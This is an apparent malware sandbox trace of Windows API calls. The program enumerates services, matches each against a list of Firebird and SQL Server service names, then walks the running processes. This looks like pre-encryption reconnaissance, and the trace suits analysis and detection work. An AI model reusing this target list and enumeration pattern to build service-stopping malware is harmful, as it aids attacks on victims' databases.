	[0070.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0070.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0070.528] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0070.528] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0070.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0070.528] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0070.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0070.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0070.528] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0070.528] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0070.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0070.528] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0070.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0070.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0070.528] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0070.528] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0070.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0070.528] lstrlenW (lpString="CryptSvc") returned 8
	[0070.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0070.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0070.528] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0070.528] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0070.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0070.528] lstrlenW (lpString="DcomLaunch") returned 10
	[0070.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0070.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0070.528] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0070.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0070.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0070.529] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0070.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0070.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0070.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0070.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0070.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0070.529] lstrlenW (lpString="Dhcp") returned 4
	[0070.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0070.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0070.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0070.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0070.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0070.529] lstrlenW (lpString="Dnscache") returned 8
	[0070.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0070.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0070.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0070.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0070.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0070.529] lstrlenW (lpString="DoSvc") returned 5
	[0070.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0070.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0070.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0070.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0070.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0070.529] lstrlenW (lpString="DPS") returned 3
	[0070.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0070.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0070.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0070.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0070.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0070.529] lstrlenW (lpString="DusmSvc") returned 7
	[0070.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0070.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0070.530] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0070.530] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0070.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0070.530] lstrlenW (lpString="EventLog") returned 8
	[0070.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0070.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0070.530] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0070.530] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0070.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0070.530] lstrlenW (lpString="EventSystem") returned 11
	[0070.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0070.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0070.530] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0070.530] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0070.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0070.530] lstrlenW (lpString="FontCache") returned 9
	[0070.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0070.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0070.530] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0070.530] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0070.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0070.530] lstrlenW (lpString="gpsvc") returned 5
	[0070.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0070.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0070.530] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0070.530] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0070.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0070.530] lstrlenW (lpString="iphlpsvc") returned 8
	[0070.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0070.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0070.530] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0070.530] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0070.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0070.531] lstrlenW (lpString="KeyIso") returned 6
	[0070.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0070.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0070.531] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0070.531] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0070.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0070.531] lstrlenW (lpString="LanmanServer") returned 12
	[0070.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0070.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0070.531] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0070.531] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0070.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0070.531] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0070.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0070.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0070.531] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0070.531] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0070.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0070.531] lstrlenW (lpString="lfsvc") returned 5
	[0070.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0070.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0070.531] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0070.531] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0070.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0070.531] lstrlenW (lpString="lmhosts") returned 7
	[0070.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0070.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0070.531] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0070.531] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0070.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0070.531] lstrlenW (lpString="LSM") returned 3
	[0070.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0070.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0070.532] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0070.532] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0070.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0070.532] lstrlenW (lpString="MapsBroker") returned 10
	[0070.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0070.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0070.532] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0070.532] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0070.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0070.532] lstrlenW (lpString="MpsSvc") returned 6
	[0070.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0070.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0070.532] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0070.532] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0070.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0070.532] lstrlenW (lpString="NcbService") returned 10
	[0070.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0070.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0070.532] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0070.532] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0070.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0070.532] lstrlenW (lpString="netprofm") returned 8
	[0070.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0070.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0070.532] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0070.532] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0070.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0070.532] lstrlenW (lpString="NlaSvc") returned 6
	[0070.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0070.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0070.533] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0070.533] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0070.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0070.533] lstrlenW (lpString="nsi") returned 3
	[0070.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0070.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0070.533] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0070.533] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0070.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0070.533] lstrlenW (lpString="PcaSvc") returned 6
	[0070.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0070.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0070.533] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0070.533] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0070.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0070.533] lstrlenW (lpString="PlugPlay") returned 8
	[0070.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0070.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0070.533] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0070.533] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0070.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0070.533] lstrlenW (lpString="Power") returned 5
	[0070.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0070.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0070.533] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0070.533] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0070.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0070.533] lstrlenW (lpString="ProfSvc") returned 7
	[0070.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0070.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0070.534] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0070.534] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0070.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0070.534] lstrlenW (lpString="RpcEptMapper") returned 12
	[0070.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0070.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0070.534] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0070.534] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0070.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0070.534] lstrlenW (lpString="RpcSs") returned 5
	[0070.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0070.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0070.534] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0070.534] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0070.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0070.534] lstrlenW (lpString="SamSs") returned 5
	[0070.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0070.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0070.534] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0070.534] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0070.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0070.534] lstrlenW (lpString="Schedule") returned 8
	[0070.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0070.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0070.534] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0070.534] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0070.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0070.534] lstrlenW (lpString="SecurityHealthService") returned 21
	[0070.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0070.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0070.535] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0070.535] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0070.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0070.535] lstrlenW (lpString="SENS") returned 4
	[0070.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0070.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0070.535] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0070.535] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0070.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0070.535] lstrlenW (lpString="ShellHWDetection") returned 16
	[0070.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0070.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0070.535] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0070.535] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0070.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0070.535] lstrlenW (lpString="Spooler") returned 7
	[0070.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0070.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0070.535] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0070.535] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0070.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0070.535] lstrlenW (lpString="SSDPSRV") returned 7
	[0070.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0070.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0070.535] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0070.535] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0070.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0070.535] lstrlenW (lpString="StateRepository") returned 15
	[0070.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0070.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0070.535] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0070.535] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0070.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0070.535] lstrlenW (lpString="SysMain") returned 7
	[0070.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0070.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0070.536] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0070.536] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0070.536] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d81e08 | out: hHeap=0x500000) returned 1
	[0070.536] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x324
	[0071.125] Process32FirstW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0071.126] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0071.126] lstrlenW (lpString="System") returned 6
	[0071.126] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0071.127] lstrlenW (lpString="smss.exe") returned 8
	[0071.127] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0071.127] lstrlenW (lpString="csrss.exe") returned 9
	[0071.127] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0071.128] lstrlenW (lpString="wininit.exe") returned 11
	[0071.128] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0071.128] lstrlenW (lpString="csrss.exe") returned 9
	[0071.129] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0071.129] lstrlenW (lpString="winlogon.exe") returned 12
	[0071.129] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0071.130] lstrlenW (lpString="services.exe") returned 12
	[0071.130] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0071.130] lstrlenW (lpString="lsass.exe") returned 9
	[0071.130] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.131] lstrlenW (lpString="svchost.exe") returned 11
	[0071.131] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0071.131] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0071.131] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0071.132] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0071.132] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.132] lstrlenW (lpString="svchost.exe") returned 11
	[0071.132] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0071.133] lstrlenW (lpString="dwm.exe") returned 7
	[0071.133] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.133] lstrlenW (lpString="svchost.exe") returned 11
